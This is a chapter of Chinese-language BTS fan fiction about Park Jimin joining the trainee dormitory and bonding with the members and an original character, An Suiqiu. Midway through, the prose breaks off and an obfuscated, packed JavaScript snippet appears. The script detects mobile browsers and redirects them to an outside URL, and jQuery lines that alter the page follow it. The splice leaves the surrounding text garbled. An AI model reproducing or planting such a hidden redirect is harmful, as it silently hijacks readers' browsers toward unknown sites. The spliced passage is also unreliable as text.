朴智旻拖着行李箱站在那栋矮楼前时，心脏跳得像是要冲破胸腔。
釜山到首尔的车程不算太长，但对他而言却像跨越了两个世界，前不久老师刚打电话通知他——
“智旻呀，恭喜你通过Big Hit面试啦！”
仿佛才在耳边响起，现在他就真的来到了Big Hit。
而他身上那套衣服——红黄拼接的宽大运动裤，印着夸张英文口号的连帽衫。曾经被同学夸过很潮的穿搭，此刻却让他莫名觉得窘迫。
首尔的天空似乎都比釜山高一些，街道更干净，行人走得更快。
他深吸一口气，拎着行李箱爬上狭窄的楼梯，宿舍门牌号是208。
朴智旻在门口站了足足一分钟，才鼓起勇气抬起手，敲门声很轻，轻到他自己都差点没听见。
门内传来脚步声，接着门被拉开——
开门的男生有一张温和的小鹿脸，头发柔软地搭在额前，他显然以为是别人，嘴角还带着未散的笑意。
“岁秋啊，今天怎么这么早……”
话卡在喉咙里。
两人大眼瞪小眼，愣了一秒。
然后几乎是同时，九十度鞠躬——
“砰！”
额头撞上额头的闷响。
两人同时后退两步，一个捂着额头，一个捂着鼻子，眼里都泛起了生理性的泪花。
“对不起对不起！”
朴智旻连忙道歉，声音因为紧张又尖又细。
“没事没事……”
郑号锡揉着发红的额头，脑子还在努力处理眼前的信息——一个出现在他们宿舍门口的、穿着奇怪裤子的陌生人。
走廊尽头传来脚步声。
郑号锡和朴智旻同时转头，看见两个人正从楼梯走上来。
走在前面的少年穿着深蓝色的校服外套，白衬衫领口规矩地扣到最上面一颗，手里拎着一个印着咖啡店logo的纸袋，他的头发微卷，皮肤白得像会发光，眉眼精致得让人移不开眼。
而跟在他身后的男生个子很高，背着一个明显不属于他自己的书包，皮肤有点黑，正低头说着什么。
四人八目相对，空气凝固了几秒。
……？？？
安岁秋的目光从郑号锡捂着的额头，移到朴智旻那张写满紧张的脸，最后落在那条红黄拼接的裤子上。
他歪了歪头，眼睛微微睁大。
发生什么了？
一阵兵荒马乱的解释后，朴智旻手里抱着一杯还温热的咖啡，端坐在狭窄客厅的地板上。
咖啡是安岁秋分给他的，少年从纸袋里拿出四杯咖啡，自然地递给他一杯，“哥，喝吧。”
语气自然得仿佛他们已经认识很久。
朴智旻这才知道，刚才开门的男生叫郑号锡，94年生；穿校服的是安岁秋，96年生；个子最高的是金南俊，也是94年生。而他们宿舍居然还有四个人——92年的金硕珍，93年的闵玧其，95年的金泰亨，97年的田柾国。
“八个人？！”
朴智旻声音发紧，“这、这么小的宿舍？”
金南俊沉默地露出了一个略显无奈的笑容。
安岁秋在他旁边坐下，校服裤腿因为盘腿的动作微微上缩，露出一截纤细的脚踝，他说话时声音很轻，有种安抚人心的力量，“哥别紧张，大家都很好相处的。”
朴智旻偷偷打量他。
他知道安岁秋，去年暑假陪妈妈追剧时，电视里那个眼睛亮晶晶、演童年男主的小演员，就长着这张脸。
只是电视里的孩子还带着奶气，脸颊肉乎乎的，而现在眼前的少年已经抽条，轮廓清瘦，下颌线清晰，只有笑起来时嘴角那两个小小的梨涡还留着当年的影子。
首尔果然不一样。
朴智旻心里涌起一阵混杂着自卑和羡慕的情绪，这里的人长得好看，实力也强，他一个从釜山来的乡下人，真的能跟上吗？
他又看了眼安岁秋，少年正低头从书包里拿出谱纸，侧脸在午后光线里镀着一层柔和的绒光，脖颈间那根红绳若隐若现。
真的……超级帅啊。
朴智旻在心里默默感叹，不愧是被称为“千年一遇美少年”的人。
门再次被推开时，先进来的是田柾国。
少年背着书包蹦跳着进来，嘴里还哼着不成调的旋律，在看到客厅里多出的陌生人时，脚步猛地刹住。他眨了眨那双兔子似的圆眼睛，身体下意识往安岁秋那边靠了靠。
跟在后面的金硕珍拎着几盒牛奶，看见朴智旻时也愣了一下，但很快露出温和的笑容，“是新来的孩子吗？你好，我是金硕珍。”
多米诺骨牌似的问候声在客厅里响起，伴随着九十度鞠躬，朴智旻觉得自己腰都快弯断了，但心里那根紧绷的弦却莫名松了些。
至少，这些人看起来很友好。
最后回来的是金泰亨和闵玧其。
金泰亨是咋咋呼呼冲进来的，手里捧着一个纸袋，烫得直抽气，“嘶哈——岁秋啊！我给你买了糯米糖饼！玧其哥付的钱！”
他话说到一半，目光落在朴智旻脸上，忽然顿住。
客厅里安静了一瞬。
金泰亨眨着一单一双的眼睛，视线从朴智旻软乎乎的脸颊肉，移到小巧的五官，再移到略深的肤色。他脑子里某个奇怪的开关被拨动了——
“啊！”他声音猛地拔高，“糯米糕！”
安岁秋默默抬手捂住了脸。
朴智旻茫然地眨眨眼，还没理解这个比喻，就听见旁边传来一声很轻的嗤笑，他转头看见那个最后进来的、表情冷淡的男生正靠在门边，嘴角有极浅的弧度。
那是闵玧其，朴智旻根据刚才的描述认出来了。
“泰亨啊，”金硕珍无奈地扶额，“别给新来的孩子起奇怪的外号。”
“可是真的很像嘛！”
金泰亨理直气壮，把手里的纸袋往茶几上一放，凑到朴智旻面前，“你是95年的？我也是95年的！我们同龄！”
他眼睛亮得惊人，朴智旻被那热情弄得有些无措，只能点头。
“我终于有同龄亲故了！”
金泰亨欢呼，转身就从柜子里掏出一板香蕉牛奶，塞给田柾国一盒，又塞给朴智旻一盒。
于是朴智旻面前堆了一杯咖啡、一盒香蕉牛奶，还有一个金泰亨硬塞过来的糯米糖饼。
他低头看着这堆食物，脑海里只有一个念头——
这个宿舍，好像很喜欢吃东西。
晚餐是金硕珍煮的部队火锅，加了很多配料：鸡蛋、火腿、芝士、年糕。热气腾腾的一大锅放在茶几中央，八个男生围坐一圈，筷子勺子碰撞出热闹的声响。
朴智旻注意到安岁秋吃得很少。
少年面前那碗面，吃了不到一半就放下了筷子，他吃得很慢，每一口都要咀嚼很久，眉头微微蹙着，像是完成什么艰巨任务。
“不吃了？”金硕珍问。
“嗯，饱了。”安岁秋声音很轻，把碗往茶几中央推了推。
朴智旻看着那剩下的小半碗面，心里疑惑——明明很好吃啊，怎么就吃这么点？
他还没想明白，就看见田柾国很自然地接过那碗面，倒进自己碗里，忙内吃得头也不抬，腮帮子鼓鼓的，像只囤粮的小仓鼠。
“柾国啊，”郑号锡忍不住笑，“你是真能吃。”
“我长身体。”田柾国一脸正气地回复，毫不心虚。
安岁秋像是突然想起什么，起身走进卧室，朴智旻听见里面传来窸窸窣窣的声音，然后是胶带被撕开的“吱啦”声。
几个哥哥交换了个眼神。
郑号锡端着饭碗走进去，看见他们的二忙内正踮着脚，努力把一截透明胶带往窗户上贴，他嘴里还咬着一卷胶带，头发因为动作而微微凌乱。
“你干嘛呢？”郑号锡问。
安岁秋把胶带左边缘贴好，转头看他，眼神清澈，“贴胶带啊。”他说得理所当然，“不是说窗户漏风吗？”
郑号锡愣住了。
他这才想起，卧室里那张靠窗的床铺——现在唯一空着的床位——窗户确实有点漏风，以前没人睡那边，大家也就没在意，公司当然不会为了这点小事花钱修，他们自己也没想起来要处理。
可现在朴智旻要睡那里了。
春天虽然来了，但夜晚的风还是凉的。
安岁秋个子不够高，够不到窗户上沿，他试了几次，胶带总是歪掉，眉头皱得紧紧的。
金南俊放下碗走进来，从他手里接过胶带，“我来吧。”
身高优势在这时候显现出来，金南俊轻松地把胶带贴好，又仔细按压边缘，确保密封。
金硕珍和闵玧其开始收拾碗筷，田柾国和金泰亨擦桌子，郑号锡从储物柜深处翻出一套还算干净的被子枕头，开始铺床。
朴智旻站在卧室门口，看着这一幕。
他想帮忙，但刚来，不知道东西放在哪里，也不知道该做什么，只能无措地站着，手指揪着衣角，脸颊发烫，一遍遍小声说：“谢谢……真的谢谢……”
安岁秋走到他身边，声音很轻，“哥，别紧张。”
朴智旻低头，看见少年仰起的脸，灯光下安岁秋的眼睛是温暖的浅棕色，睫毛很长，在眼下投出小小的阴影。
“大家都很好的。”
安岁秋说，然后顿了顿，嘴角弯起一个很小的弧度，“而且……哥真的很像糯米团子。”
朴智旻愣住。
“裹了红糖粉的那种。”安岁秋补充，眼睛弯成月牙。
那一刻，朴智旻突然觉得，胸口那股紧绷感，彻底消失了。
第二天的训练让朴智旻意识到，这个宿舍里的人，没有一个简单的。
舞蹈课上，孙成德老师的严格名不虚传，一个简单的八拍动作，他能抠出十几个细节问题。朴智旻跳现代舞出身，身体柔软，wave做得行云流水，但跳起hip-hop那种需要爆发力和控制力的动作时，却总显得力道不对。
“智旻啊，”孙成德皱眉，“这里要更有力量感，不是软绵绵的。”
朴智旻点头，汗水顺着下颌线滴落在地板上，他咬紧牙关，一遍遍重复那个动作。
安岁秋就在他旁边练习，朴智旻注意到，这个看起来纤细的少年，跳起舞来却很有力量感，他的动作干净利落，卡点精准，虽然柔韧性显然不如自己，但每个动作都做到极致。
休息时，安岁秋坐在地板上拉伸，表情痛苦，“哥的柔韧性真好……”
朴智旻不好意思地笑，“跳了十几年现代舞，也就这点优点了。”
“不是优点，”安岁秋认真看他，“是天赋。”
声乐课上，朴智旻的嗓音让老师眼睛一亮，那是一种很特别的音色，细而柔，带着中性的魅力，高音清亮，低音又有种奇特的磁性。
安岁秋在旁边听着，手指无意识地在膝盖上敲击节奏，他脑子里忽然闪过几个旋律片段——那些他写了一半又搁置的曲子，总觉得哪里不对。
现在他知道了。
那些曲子，或许不该由男生来唱。
他看着认真练习发声的朴智旻，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394869|200357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心里某个角落悄悄松动，或许……他可以试试写点不一样的歌。
朴智旻开始熬夜了。
凌晨两点的练习室，往往只剩下他一个人，镜子里的少年重复着同一个动作，汗水浸湿了额发，眼神专注得可怕。
从釜山艺术高中的现代舞首席，到练习生里什么都跟不上的新人，这种落差像巨石压在心头。
他知道自己跳舞的发力方式不对，知道自己的体力不如其他人，知道自己的脸在镜头前不够好看——脸颊肉太多，五官太小，肤色也深。
所以他只能练，比别人多练一小时，两小时，三小时。
回到宿舍时通常是凌晨两三点，他尽量放轻动作，但老旧的木地板还是发出轻微的吱呀声。
黑暗中，他摸索着走向自己的床铺，忽然一只手从旁边伸出来，捂住了他的嘴。
朴智旻心脏骤停，差点叫出声，那只手很凉，带着淡淡的柚子茶的香味。
“哥，是我。”安岁秋的声音压得很低。
朴智旻瞪大眼睛，借着窗外透进来的微光，看见安岁秋穿着那套看起来很贵的丝绸睡衣——安宥拉送他的生日礼物，站在他面前。
少年拉着他，悄无声息地走出卧室，走出宿舍。
楼道里的声控灯应声亮起，昏黄的光线下安岁秋的脸显得愈发苍白，他太瘦了，睡衣空荡荡地挂在身上，锁骨深陷，在灯光下投出阴影。
朴智旻几乎是下意识地，把身上的棒球服外套脱下来，披在安岁秋肩上。
“我不冷。”安岁秋说，但没拒绝。
两人下了楼，走进二十四小时便利店，自动门打开的瞬间，温暖的灯光和食物的香气扑面而来。
安岁秋买了两份关东煮，一份推给朴智旻，一份放在自己面前，却没动。
“吃吧，哥。”
朴智旻看着那碗冒着热气的关东煮，忽然觉得眼眶发热，他低头，用竹签戳起一块萝卜，塞进嘴里，温热的口感从食道一路滑到胃里。
“我……是不是很没用？”他听见自己问，声音哑得厉害。
安岁秋没说话，只是安静地看着他。
“跳舞跟不上，唱歌也只是普通，长得也不好看……”
朴智旻越说声音越小，“除了拼命练，我不知道还能做什么。”
便利店里的收音机在放一首老歌，女歌手的声音温柔婉转。
“玧其哥经常在工作室待到凌晨三点。”
安岁秋忽然开口，声音很轻，“有一次我早起，看见他趴在桌子上睡着了，手边是写了一半的谱子。”
“号锡哥为了一个动作，可以跳一整天，有一次他脚踝肿得像馒头，还是坚持练完才去医院。”
安岁秋继续道，手指无意识地绕着关东煮的纸杯边缘，“南俊哥没有舞蹈天赋，所以他每天最早来，最晚走，硕珍哥的vocal被老师说太平，他就一遍遍练，练到嗓子哑。”
他看着朴智旻，“其实我们每个人都这样。”
朴智旻怔怔地听着。
“但是，”安岁秋话锋一转。
“玧其哥熬夜的时候，号锡哥会陪他，南俊哥练舞的时候，泰亨哥会给他买饮料，硕珍哥练歌的时候，柾国会安静地坐在旁边听。”
他顿了顿，眼睛在便利店的白炽灯下清澈见底，“哥，你不一样，你是一个人。”
朴智旻的喉咙像被什么堵住了。
“我们不是不知道你在熬夜。”
“上次玧其哥从工作室回来时，看见过练习室的灯亮着，他还以为是号锡哥，结果没想到是你。”
“我们没有说，是因为我们在等你开口。”
安岁秋看着他，“等你需要我们的时候。”
朴智旻低下头，眼泪终于掉下来，砸在关东煮的汤里。
就在这时，便利店的门又被推开了。
一个身影摇摇晃晃地走进来，头发乱糟糟的，眼睛下面有深深的黑眼圈，是闵玧其。
他看见坐在窗边的两人，愣了一下，然后走过来。
“不是说别等我了？”
闵玧其的声音带着熬夜后的沙哑，语气无奈。
安岁秋仰头看他，嘴角弯起，“哥。”
“嗯。”
闵玧其应了一声，在他旁边坐下，目光扫过朴智旻红红的眼眶，又扫过安岁秋肩上那件明显过大的棒球服。
安岁秋把那碗一直没动的关东煮推到他面前，“吃夜宵。”
原来……那份是给闵玧其的。朴智旻忽然明白了。
闵玧其低头看着那碗关东煮，沉默了几秒，然后拿起竹签，他吃得很慢，动作里透出疲惫，细长的手腕从袖口露出来，银杏叶手链在便利店灯光下泛着柔和的光。
安岁秋看着手链挑了挑眉，自从那天在闵玧其生日送他以后，好像就没见这哥摘下来过。
朴智旻看见闵玧其的目光落在自己身上，他现在只穿着短袖，白T恤还因为练舞出汗而留下了深色汗渍。
闵玧其顿了顿，放下竹签，把身上的大衣脱下来，递过去。
“给。”
他说，声音很平淡。
朴智旻愣愣地接过，大衣还带着体温，有淡淡的薄荷和烟草混合的味道。
他转头看见安岁秋对自己眨了眨眼，指着闵玧其比了个口型：“帅气。”
朴智旻突然笑了，眼泪还挂在脸上，但他真的笑了。
窗外，首尔的夜空渐渐泛起深蓝色，黎明快要来了。
便利店的灯光温暖地笼罩着三个人，关东煮的热气缓缓上升，融进晨光里。